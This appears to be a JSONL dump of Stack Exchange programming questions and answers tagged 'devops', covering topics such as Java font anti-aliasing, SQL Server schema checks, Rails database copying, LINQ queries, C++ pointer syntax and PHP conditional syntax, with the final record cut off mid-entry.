{"id": "hf_d6c88f0cd82c", "question": "<p>Many Java Apps don't use anti-aliased fonts by default, despite the capability of Swing to provide them.  How can you coerce an arbitrary java application to use AA fonts?  (both for applications I'm running, and applications I'm developing)</p>\n", "question_body": "", "answer": "If you have access to the source, you can do this in the main method:\n```\n```\n// enable anti-aliased text:\n  System.setProperty(\"awt.useSystemAAFontSettings\",\"on\");\n```\n```\nor, (and if you do not have access to the source, or if this is easier) you can simply pass the system properties above into the jvm by adding these options to the command line:\n```\n```\n-Dawt.useSystemAAFontSettings=on\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.623042"}
{"id": "hf_4f7257d66fe5", "question": "<p>We are migrating our test report data (unit, regression, integration, etc..) from an XML format to a database format for better analysis. Right now the majority of our test analysis is done using the CruiseControl.NET dashboard, but this is limited to primarily the most recent test data. Older test data can be accessed but not easily compared to new test data. We want to pin point problem components and better narrow down bugs. With the onset of tons of information brought on by our newly implemented regression and integration testing I would like to see some better metrics generated (possibly performance and the like). Have you worked with any business intelligence systems that will provide a framework for accurately and easily implementing some sort of analysis and reporting? </p>\n\n<p>I have looked into JasperReports and Pentaho but I'm struggling with implemetation of Pentaho at the moment. Should I continue my fight with the system? Is this what I'm looking for? </p>\n", "question_body": "", "answer": "You could try looking at rolling your own (if you know what you're looking for) using\nProcessing\nwritten by Ben Fry.  It's best accompanied by his book \"\nVisualizing Data\n\".\nThe tool is free and I guess you can get a free 45 day trial of O'Reilly Books Online to get a head start and see if its right for you.  I do know there are chapters on reading and crunching data from all kinds of sources (including XML and databases) and then making meaningful and useful visualisations from them.\nI'm currently using it to get my head round the dependency complexities of an inherited code base and its been massively useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.646288"}
{"id": "hf_62288bcd3607", "question": "<p>I am in a situation where I must update an existing database structure from varchar to nvarchar using a script.  Since this script is run everytime a configuration application is run, I would rather determine if a column has already been changed to nvarchar and not perform an alter on the table.  The databases which I must support are SQL Server 2000, 2005 and 2008.  </p>\n", "question_body": "", "answer": "The following query should get you what you need:\n```\n```\nIF EXISTS \n  (SELECT *\n   FROM sysobjects syo\n   JOIN syscolumns syc ON\n     syc.id = syo.id\n   JOIN systypes syt ON\n     syt.xtype = syc.xtype\n   WHERE \n     syt.name = 'nvarchar' AND\n     syo.name = 'MY TABLE NAME' AND\n     syc.name = 'MY COLUMN NAME')\nBEGIN\n   ALTER ...\nEND\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.681164"}
{"id": "hf_b6bdcbdae2f0", "question": "<p>I would like a code sample for a function that takes a tDateTime and an integer as input and sets the system time using setlocaltime after advancing that tDateTime by (int) months. The time should stay the same.</p>\n\n<p>pseudo code example</p>\n\n<pre><code>SetNewTime(NOW,2);\n</code></pre>\n\n<p>The issues I'm running into are rather frustrating.  I cannot use incmonth or similar with a tDateTime, only a tDate, etc.</p>\n", "question_body": "", "answer": "Below is a complete command-line program that works for me.  Tested in Delphi 5 and 2007.  Why do you say\nIncMonth\ndoes not work for TDateTime?\n```\n```\nprogram OneMonth;\n\n{$APPTYPE CONSOLE}\n\nuses\n  SysUtils,\n  Windows,\n  Messages;\n\nprocedure SetLocalSystemTime(settotime: TDateTime);\nvar\n  SystemTime : TSystemTime;\nbegin\n  DateTimeToSystemTime(settotime,SystemTime);\n  SetLocalTime(SystemTime);\n  //tell windows that the time changed\n  PostMessage(HWND_BROADCAST,WM_TIMECHANGE,0,0);\nend;\n\nbegin\n  try\n    SetLocalSystemTime(IncMonth(Now,1));\n  except on E:Exception do\n    Writeln(E.Classname, ': ', E.Message);\n  end;\nend.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.716041"}
{"id": "hf_990af808c4db", "question": "<p>This Linq to SQL query ...</p>\n\n<pre><code>    Return (From t In Db.Concessions Where t.Country = \"ga\" Select t.ConcessionID, t.Title, t.Country)\n</code></pre>\n\n<p>... is generating this SQL:</p>\n\n<pre><code>SELECT [t0].[ConcessionID], [t0].[Title], [t0].[Country]\nFROM [dbo].[Concessions] AS [t0]\nWHERE [t0].[Country] = ga\n</code></pre>\n\n<p>... when what I want is</p>\n\n<pre><code>WHERE [t0].[Country] = 'ga'\n</code></pre>\n\n<p>Any ideas why?</p>\n", "question_body": "", "answer": "the select should be\n```\n```\nSelect New With {t.ConcessionID, t.Title, t.Country}\n```\n```\nrather than\n```\n```\nSelect t.ConcessionID, t.Title, t.Country\n```\n```\nyou need to create a new instance of an anonymous type to contain the fields.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.739128"}
{"id": "hf_3c358ac4d7af", "question": "<p>Right now, I have a SQL Query like this one:</p>\n\n<pre><code>SELECT X, Y FROM POINTS\n</code></pre>\n\n<p>It returns results like so:</p>\n\n<pre><code>X    Y\n----------\n12   3\n15   2\n18   12\n20   29\n</code></pre>\n\n<p>I'd like to return results all in one row, like this (suitable for using in an HTML &lt;AREA&gt; tag):</p>\n\n<pre><code>XYLIST\n----------\n12,3,15,2,18,12,20,29\n</code></pre>\n\n<p>Is there a way to do this using just SQL?</p>\n", "question_body": "", "answer": "```\n```\nDECLARE @s VarChar(8000)\nSET @s = ''\n\nSELECT @s = @s + ',' + CAST(X AS VarChar) + ',' + CAST(Y AS VarChar) \nFROM POINTS\n\nSELECT @s\n```\n```\nJust get rid of the leading comma", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.789247"}
{"id": "hf_4f70253bf7d4", "question": "<p>Is it possible to check out subdirectories of a repository in Git?</p>\n\n<p>Imagine I am setting up a new WordPress installation. I will create two new directories for my plugin and theme customization:</p>\n\n<ul>\n<li><code>wordpress/wp-content/plugins/myplugins/</code> </li>\n<li><code>wordpress/wp-content/themes/mytheme/</code></li>\n</ul>\n\n<p>I want to maintain these directories via Git. In Subversion, I would accomplish this by having <code>trunk/myplugins/</code> and <code>trunk/mytheme/</code> directories and checking out subdirectories. Does Git have a way to accomplish the same task using a single repository?</p>\n\n<p>I could just be missing the boat on some Git paradigm, as a long time SVN user with little exposure to Git.</p>\n\n<p><strong>Edit:</strong> <a href=\"https://stackoverflow.com/questions/466303/git-branches-with-completely-different-content\">Multiple branches</a> storing different content is an interesting way to handle this.</p>\n", "question_body": "", "answer": "There is no real way to do that in git. And if you won’t be making changes that affect both trees at once as a single work unit, there is no good reason to use a single repository for both. I thought I would miss this Subversion feature, but I found that creating repositories has so little administrative mental overhead (simply due to the fact that repositories are stored right next to their working copy, rather than requiring me to explicitly pick some place outside of the working copy) that I got used to just making lots of small single-purpose repositories.\nIf you insist (or really need it), though, you could make a git repository with just\n```\nmytheme\n```\nand\n```\nmyplugins\n```\ndirectories and symlink those from within the WordPress install.\nMDCore wrote:\nmaking a commit to, e.g.,\nmytheme\nwill increment the revision number for\nmyplugin\nNote that this is not a concern for git, if you do decide to put both directories in a single repository, because git does away entirely with the concept of monotonically increasing revision numbers of any form.\nThe sole criterion for what things to put together in a single  repository in git is whether it constitutes a single unit, ie. in your case whether there are changes where it does not make sense to look at the edits in each directory in isolation. If you have changes where you need to edit files in both directories at once and the edits belong together, they should be one repository. If not, then don’t glom them together.\nGit really really wants you to use separate repositories for separate entities.\nsubmodules\nSubmodules do not address the desire to keep both directories in one repository, because they would actually\nenforce\nhaving a separate repository for each directory, which are then brought together in\nanother\nrepository using submodules. Worse, since the directories inside the WordPress install are not direct subdirectories of the same directory and are also part of a hierarchy with many other files, using the per-directory repositories as submodules in a unified repository would offer no benefit whatsoever, because the unified repository would not reflect any use case/need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.835392"}
{"id": "hf_cd51694a74e8", "question": "<p>I've written a simple multi-threaded game server in python that creates a new thread for each client connection.  I'm finding that every now and then, the server will crash because of a broken-pipe/SIGPIPE error.  I'm pretty sure it is happening when the program tries to send a response back to a client that is no longer present.</p>\n\n<p>What is a good way to deal with this?  My preferred resolution would simply close the server-side connection to the client and move on, rather than exit the entire program.</p>\n\n<p>PS: <a href=\"https://stackoverflow.com/questions/108183/how-to-prevent-sigpipes-or-handle-them-properly\">This</a> question/answer deals with the problem in a generic way; how specifically should I solve it?</p>\n", "question_body": "", "answer": "Read up on the try: statement.\n```\n```\ntry:\n    # do something\nexcept socket.error, e:\n    # A socket error\nexcept IOError, e:\n    if e.errno == errno.EPIPE:\n        # EPIPE error\n    else:\n        # Other error\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.898452"}
{"id": "hf_6a1bccafa1d1", "question": "<p>I am using some nested layouts in Ruby on Rails, and in one of the layouts i have a need to read in a string from a div and set that as the title of the document. What is correct way (if any) to set the title of the document?</p>\n\n<pre><code>&lt;script type=\"text/javascript\"&gt;\n$(document).ready(function() {\n\n    // ???\n\n});\n&lt;/script&gt;\n</code></pre>\n", "question_body": "", "answer": "Like this:\n```\n```\n$(document).ready(function ()\n{\n    document.title = \"Hello World!\";\n});\n```\n```\nBe sure to set a default-title if you want your site to be properly indexed by search-engines.\nA little tip:\n```\n```\n$(function ()\n{\n    // this is a shorthand for the whole document-ready thing\n    // In my opinion, it's more readable \n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.934343"}
{"id": "hf_b94227a81b97", "question": "<p>Is there an easy way to generate a PDF report from an RDL that's been uploaded to Report Manager and put that file somewhere on the server's disk? I already have a location on disk to put the file, I just need to know how to programmatically generate the PDF. This is for SQL Server 2005 Reporting Services. Code in either VB or C# is fine.</p>\n", "question_body": "", "answer": "This\narticle\nwill show you how you can generate PDF report from reporting service, without using report viewer. Only change you have to do is to write the result byte array into a file stream instead of sending it to response stream as shown in that example. The above mentioned example is using the web services provided by SQL reporting service to generate report.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.982944"}
{"id": "hf_efda5f685b8b", "question": "<ol>\n<li>How do I get a method's execution time?  </li>\n<li>Is there a <code>Timer</code> utility class for things like timing how long a task takes, etc?  </li>\n</ol>\n\n<p>Most of the searches on Google return results for timers that schedule threads and tasks, which is not what I want.</p>\n", "question_body": "", "answer": "This probably isn't what you wanted me to say, but this is a good use of AOP. Whip an proxy interceptor around your method, and do the timing in there.\nThe what, why and how of AOP is rather beyond the scope of this answer, sadly, but that's how I'd likely do it.\nEdit:\nHere's a link\nto Spring AOP to get you started, if you're keen. This is the most accessible implementation of AOP that Iive come across for java.\nAlso, given everyone else's very simple suggestions, I should add that AOP is for when you don't want stuff like timing to invade your code. But in many cases, that sort of simple and easy approach is fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.007340"}
{"id": "hf_077d3c4aed4d", "question": "<p>Is there any good reason that an empty set of round brackets (parentheses) isn't valid for calling the default constructor in C++?</p>\n\n<pre><code>MyObject  object;  // ok - default ctor\nMyObject  object(blah); // ok\n\nMyObject  object();  // error\n</code></pre>\n\n<p>I seem to type \"()\" automatically everytime. Is there a good reason this isn't allowed?</p>\n", "question_body": "", "answer": "The same syntax is used for function declaration - e.g. the function\n```\nobject\n```\n, taking no parameters and returning\n```\nMyObject\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.044296"}
{"id": "hf_c8ba93803f3d", "question": "<p>To make click-able divs, I do:</p>\n\n<pre><code>&lt;div class=\"clickable\" url=\"http://google.com\"&gt;\n    blah blah\n&lt;/div&gt;\n</code></pre>\n\n<p>and then </p>\n\n<pre><code>$(\"div.clickable\").click(\nfunction()\n{\n    window.location = $(this).attr(\"url\");\n});\n</code></pre>\n\n<p>I don't know if this is the best way, but it works perfectly with me, except for one issue:\nIf the div contains a click-able element, such as\n    &lt;a href=\"...\"&gt;, and the user clicks on the hyperlink, both the hyperlink and div's-clickable are called</p>\n\n<p>This is especially a problem when the anchor tag is referring to a javascript AJAX function, which executes the AJAX function <em>AND</em> follows the link in the 'url' attribute of the div.</p>\n\n<p>Anyway around this?</p>\n", "question_body": "", "answer": "```\n$(\"div.clickable\").click(\nfunction(event)\n{\n    window.location = $(this).attr(\"url\");\n    event.preventDefault();\n});\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.068453"}
{"id": "hf_a06a80b3eee4", "question": "<p>Does WebSphere offer an HTTP input filter / firewall like mod_security?</p>\n\n<p>I know that it's possible to have Apache be the HTTP server front-end to WebSphere, but that type of configuration is beyond my influence.  We're stuck using just what WebSphere itself can do.</p>\n\n<p>EDIT - To clarify, I am not looking for authentication, authorization, or non-repudiation aspects of security here.  I want a rule-based HTTP firewall like mod_security that works on WebSphere.</p>\n\n<p>Also, I know that in version 1.x, there was a partial implementation of mod_security in Java.  We currently have a custom, in-house solution that is a work-alike, but less arbitrarily configurable.  Thanks!</p>\n", "question_body": "", "answer": "J2EE has a\nstandard\nway of\nsecuring\nit's apps.  I recommend using this.  If what you are trying to do is oddball, you could look at\nCustom User Registries (IBM specific)\n, or implement a custom system all together with\nServlet Filters\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.103850"}
{"id": "hf_6b4eddc34bc5", "question": "<p>We are making a Ruby On Rails webapp where every customer gets their own database.<br>\nThe database needs to be created after they fill out a form on our website.</p>\n\n<p>We have a template database that has all of the tables and columns that we need to copy.  How can I do this in programatically from ruby on rails?</p>\n", "question_body": "", "answer": "From any controller, you can define the following method.\n```\n```\ndef copy_template_database\n        template_name = \"customerdb1\" # Database to copy from\n        new_name = \"temp\" #database to create & copy to\n\n        #connect to template database to copy.  Note that this will override any previous\n        #connections for all Models that inherit from ActiveRecord::Base\n        ActiveRecord::Base.establish_connection({:adapter => \"mysql\", :database => template_name, :host => \"olddev\",\n        :username => \"root\", :password => \"password\" })\n\n        sql_connection = ActiveRecord::Base.connection \n        sql_connection.execute(\"CREATE DATABASE #{new_name} CHARACTER SET latin1 COLLATE latin1_general_ci\")\n        tables = sql_connection.select_all(\"Show Tables\")\n        #the results are an array of hashes, ie:\n        # [{\"table_from_customerdb1\" => \"customers\"},{\"table_from_customerdb1\" => \"employees},...]\n        table_names = Array.new\n        tables.each { |hash| hash.each_value { |name| table_names << name }}\n\n        table_names.each { |name| \n            sql_connection.execute(\"CREATE TABLE #{new_name}.#{name} LIKE #{template_name}.#{name}\")\n            sql_connection.execute(\"INSERT INTO #{new_name}.#{name} SELECT * FROM #{template_name}.#{name}\")\n        }\n        #This statement is optional.  It connects ActiveRecord to the new database\n        ActiveRecord::Base.establish_connection({:adapter => \"mysql\", :database => new_name, :host => \"olddev\",\n        :username => \"root\", :password => \"password\" })\n    end\n```\n```\nNote that I do not know for sure if this will keep foriegn key integrity.  I think it depends a lot on how the template Database is created.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.127628"}
{"id": "hf_03c07a9d8c30", "question": "<p>I have a memory of talking to people who have got so far in using Ruby on Rails and then had to abandon it when they have hit limits, or found it was ultimately too rigid.  I forget the details but it may have had to do with using more than one database.</p>\n\n<p>So what I'd like is to know is what features/requirements fall outside of Ruby on Rails, or at least requires such contortions that it is better to use another more flexible framework, even though you may have to lose some elegance or write extra boilerplate code.  </p>\n", "question_body": "", "answer": "Ruby on Rails does not support two-phase commits out of the box, which maybe required if your database-backed application needs to guarantee immediate consistency AND you need to use two or more database schemas.\nFor many web applications, I would venture that this is not a common use-case. One can perfectly well support eventual consistency with two or more databases. Or one could support immediate consistency with one database schema. The former case is a great problem to have if your app has to support a mondo amount of transactions (note the technical term :). The latter case is more typical, and Rails does just fine.\nFrankly, I wouldn't worry about limits to using Ruby on Rails (or any framework) until you hit real scalability problems. Build a\nkiller\napp\nfirst\n, and then worry about scalability.\nCLARIFICATION: I'm thinking of things that Rails would have a hard-time supporting because it might require a fundamental shift in its architecture. I'll be generous and include some things that are part of the gem/plugin ecosystem such as foreign key enforcement or SOAP services.\nBy two-phase commits, I mean attempting to make two commits to physically distinct servers within one transactional context.\nUse case #1 for a two-phase commit: you've clustered your database, so that you have 2 or more database servers and your schema is spread across both servers. You may want to commit to both servers, because you want to allow ActiveRecord think do a \"foreign key map\" that traverses across the different servers.\nUse case #2 for a two-phase commit: you're attempting to implement a messaging solution (sorry, I'm J2EE developer by day). The message producer commits to the messaging broker (one server) and to the database (a different server).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.223979"}
{"id": "hf_58b626198d68", "question": "<p>I have a number of child tables that have a foreign key to a parent table.</p>\n\n<p>How do I add an entry in the parent table and get the primary key of that entry, so that I can then enter rows in the child tables that point to the entry in the parent table?</p>\n\n<p>I'm doing this in a MS Access Database from a C# application.</p>\n", "question_body": "", "answer": "Microsoft Access 2000 or later does support the @@IDENTITY property to retrieve the value of an Autonumber field after an INSERT. (\nmsdn\n)\nEdit:\nThis\nis the link to a similar article for .NET 3.5", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.247687"}
{"id": "hf_429ddbe4ef30", "question": "<p>I've been programming in C++ for a few years, and I've used STL quite a bit and have created my own template classes a few times to see how it's done.</p>\n\n<p>Now I'm trying to integrate templates deeper into my OO design, and a nagging thought keeps coming back to me: They're just a macros, really... You could implement (rather UGLY) auto_ptrs using #defines, if you really wanted to.</p>\n\n<p>This way of thinking about templates helps me understand how my code will actually work, but I feel that I must be missing the point somehow. Macros are meant evil incarnate, yet \"template metaprogramming\" is all the rage.</p>\n\n<p>So, what ARE the real distinctions? and how can templates avoid the dangers that #define leads you into, like</p>\n\n<ul>\n<li>Inscrutable compiler errors in\nplaces where you don't expect them?</li>\n<li>Code bloat? </li>\n<li>Difficulty in tracing code?</li>\n<li>Setting Debugger Breakpoints?</li>\n</ul>\n", "question_body": "", "answer": "They are parsed by the\ncompiler\nand not by a preprocessor that runs\nbefore\nthe compiler.\nHere's what MSDN says about it:\nhttp://msdn.microsoft.com/en-us/library/aa903548(VS.71).aspx\nHere are some problems with the macro:\nThere is no way for the compiler to verify that the macro parameters are of compatible types.\nThe macro is expanded without any special type checking.\nThe i and j parameters are evaluated twice. For example, if either parameter has a postincremented variable, the increment is performed two times.\nBecause macros are expanded by the preprocessor, compiler error messages will refer to the expanded macro, rather than the macro definition itself. Also, the macro will show up in expanded form during debugging.\nIf that's not enough for you, I don't know what is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.297113"}
{"id": "hf_39789acb1e54", "question": "<p>I've got a save dialog box which pops up when i press a button. However i dont want to save a file at that point, i want to take the name and place it in the text box next to the button, for the name to be used later. </p>\n\n<p>Can anybody tell me how to obtain the file path from the save dialog box to use it later?</p>\n", "question_body": "", "answer": "Here is a sample code I just wrote very fast... instead of Console.Write you can simply store the path in a variable and use it later.\n```\n```\nSaveFileDialog saveFileDialog1 = new SaveFileDialog(); \nsaveFileDialog1.InitialDirectory = Convert.ToString(Environment.SpecialFolder.MyDocuments); \nsaveFileDialog1.Filter = \"Your extension here (*.EXT)|*.ext|All Files (*.*)|*.*\" ; \nsaveFileDialog1.FilterIndex = 1; \n\nif(saveFileDialog1.ShowDialog() == DialogResult.OK) \n{ \n    Console.WriteLine(saveFileDialog1.FileName);//Do what you want here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.344871"}
{"id": "hf_e51275cb24e4", "question": "<p>In our program, each customer gets their own database.  We e-mail them a link that connects them to their database.  The link contains a GUID that lets the program know which database to connect to.</p>\n\n<p>How do I dynamically and programatically connect ActiveRecord to the right db?</p>\n", "question_body": "", "answer": "you can change the connection to ActiveRecord at any time by calling ActiveRecord::Base.establish_connection(...)\nIE:\n```\n```\nActiveRecord::Base.establish_connection({:adapter => \"mysql\", :database => new_name, :host => \"olddev\",\n    :username => \"root\", :password => \"password\" })\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.380332"}
{"id": "hf_988f50e2bfc6", "question": "<p>Is there any way instead of a JS hack where I can post from an iframe to another page outside the iframe?</p>\n\n<p>the iframe is posting data to a 3rd party and then just responding back with a URL which is the redirection URl thus we cannot set the form target. We are PCI compliant and thus we cannot use <code>window.parent.location = url;</code></p>\n", "question_body": "", "answer": "```\n<form>\n```\naccepts a target parameter, e.g. target=\"_parent\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.475748"}
{"id": "hf_976239a3fc4c", "question": "<p>I've recently decided that I just have to finally learn C/C++, and there is one thing I do not really understand about pointers or more precisely, their definition.</p>\n\n<p>How about these examples:</p>\n\n<ol>\n<li><code>int* test;</code></li>\n<li><code>int *test;</code></li>\n<li><code>int * test;</code></li>\n<li><code>int* test,test2;</code></li>\n<li><code>int *test,test2;</code></li>\n<li><code>int * test,test2;</code></li>\n</ol>\n\n<p>Now, to my understanding, the first three cases are all doing the same: Test is not an int, but a pointer to one.</p>\n\n<p>The second set of examples is a bit more tricky. In case 4, both test and test2 will be pointers to an int, whereas in case 5, only test is a pointer, whereas test2 is a \"real\" int. What about case 6? Same as case 5?</p>\n", "question_body": "", "answer": "4, 5, and 6 are the same thing, only\ntest\nis a pointer. If you want two pointers, you should use:\n```\n```\nint *test, *test2;\n```\n```\nOr, even better (to make everything clear):\n```\n```\nint* test;\nint* test2;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.511227"}
{"id": "hf_c4111d53de02", "question": "<p>I've got a User table with a bitmask that contains the user's roles. The linq query below returns all the users whose roles include 1, 4 or 16. </p>\n\n<pre><code>var users = from u in dc.Users\n            where ((u.UserRolesBitmask &amp; 1) == 1)\n               || ((u.UserRolesBitmask &amp; 4) == 4)\n               || ((u.UserRolesBitmask &amp; 16) == 16)\n            select u;\n</code></pre>\n\n<p>I'd like to rewrite this into the method below to returns all the users from the given roles so I can reuse it:</p>\n\n<pre><code>private List&lt;User&gt; GetUsersFromRoles(uint[] UserRoles) {}\n</code></pre>\n\n<p>Any pointers on how to dynamically build my query? Thanks</p>\n", "question_body": "", "answer": "Assuming your UserRoles values are themselves bitmasks, would something like this work?\n```\n```\nprivate List<User> GetUsersFromRoles(uint[] UserRoles) {\n    uint roleMask = 0;\n    for (var i = 0; i < UserRoles.Length;i++) roleMask= roleMask| UserRoles[i];\n    // roleMasknow contains the OR'ed bitfields of the roles we're looking for\n\n    return (from u in dc.Users where (u.UserRolesBitmask & roleMask) > 0) select u);\n}\n```\n```\nThere's probably a nice LINQ syntax that'll work in place of the loops, but the concept should be the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.534617"}
{"id": "hf_a16fa0950a4f", "question": "<p>Classes that use other classes (as members, or as arguments to methods) need instances that behave properly for unit test. If you have these classes available and they introduce no additional dependencies, isn't it better to use the real thing instead of a mock? </p>\n", "question_body": "", "answer": "It is fine to use the \"real thing\" as long as you have absolute control over the object.  For example if you have an object that just has properties and accessors you're probably fine.  If there is logic in the object you want to use, you could run into problems.\nIf a unit test for class a uses an instance of class b and an change introduced to b breaks b, then the tests for class a are also broken.  This is where you can run into problems where as with a mock object you could always return the correct value.  Using \"the real thing\"  Can kind of convolute tests and hide the real problem.\nMocks can have downsides too, I think there is a balance with some mocks and some real objects you will have to find for yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.569279"}
{"id": "hf_006c6634c34b", "question": "<p>I'm looking for a similar control to the InputFormSection control in Sharepoint that I want to use in a regular web page that doesn't run in the context of Sharepoint. Here's how the inputformsection looks like : <a href=\"http://graegert.com/wp-content/uploads/2008/01/moss_adminarea_page_structure1.png\" rel=\"nofollow noreferrer\">http://graegert.com/wp-content/uploads/2008/01/moss_adminarea_page_structure1.png</a></p>\n", "question_body": "", "answer": "So do I understand your question correctly? You want to have a control that looks and behave like the InputFormSection control of SharePoint, but it should be able to run outside the context of a SharePoint site?\nIf so, one approach that you could take is to rip out the generated HTML and use it in your own user control. The IE Developer Toolbar can be of great help to retrieve all other the information (\nhttp://www.microsoft.com/en-us/download/details.aspx?id=18359\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:58.592779"}
{"id": "hf_f6c22352b20e", "question": "<p>I'm refactoring some PHP code and discovered that certain nested combinations of </p>\n\n<pre><code>if () :\n</code></pre>\n\n<p>and </p>\n\n<pre><code>if () {\n</code></pre>\n\n<p>generate syntax errors.  Not that I would normally mix the two, but I like to do frequent syntax checks as I'm writing code and I kept getting a syntax error because of this.</p>\n\n<p>Example - generates syntax error:</p>\n\n<pre><code>if ( $test == 1 ) :\n  if ( $test2 == 'a' ) {\n    if ( $test3 == 'A' ) {\n    } else {\n    }\n  }\nelse :\n  echo 'test2';\nendif;\n</code></pre>\n\n<p>Example - does NOT generate syntax error:</p>\n\n<pre><code>if ( $test == 1 ) :\n  if ( $test2 == 'a' ) :\n    if ( $test3 == 'A' ) :\n    else :\n    endif;\n  endif;\nelse :\n  echo 'test2';\nendif;\n</code></pre>\n\n<p>Could someone please explain to me why the first block of code is generating an error? </p>\n", "question_body": "", "answer": "This is a wild guess since I am not familiar with the grammar of PHP. But here goes:\nThe problem is the second\n```\nelse\n```\n. The parser can't see if this\n```\nelse\n```\nis belonging to the first or the second if (counting from the beginning). In your second example there is an\n```\nendif\n```\nmaking the second\n```\nif\n```\n-block be terminated so there it can do the parse. Perhaps this is the famous 'dangling-else' problem in disguise?", 